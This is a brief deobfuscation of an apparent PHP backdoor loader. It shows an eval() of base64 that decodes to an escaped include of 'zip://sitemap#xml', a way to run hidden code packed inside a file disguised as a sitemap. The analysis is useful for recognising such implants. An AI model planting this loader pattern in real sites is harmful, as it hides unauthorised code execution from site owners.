Decrypted code level 1:

eval("".base64_decode("PD9waHANCi8vT2JmdXNjYXRlIGJ5IGh0dHBzOi8vdXV0b29sLmNuL3BocC8NCiBpbmNsdWRlICJceDdhXDE1MVx4NzBcNzJceDJmXHgyZlx4NzNceDY5XHg3NFx4NjVceDZkXHg2MVx4NzBcNDNceDc4XDE1NVx4NmMiOw=="));

Decrypted code level 2:

//Obfuscate by https://uutool.cn/php/
 include "\x7a\151\x70\72\x2f\x2f\x73\x69\x74\x65\x6d\x61\x70\43\x78\155\x6c";

//Obfuscate by https://uutool.cn/php/
 include "zip://sitemap#xml";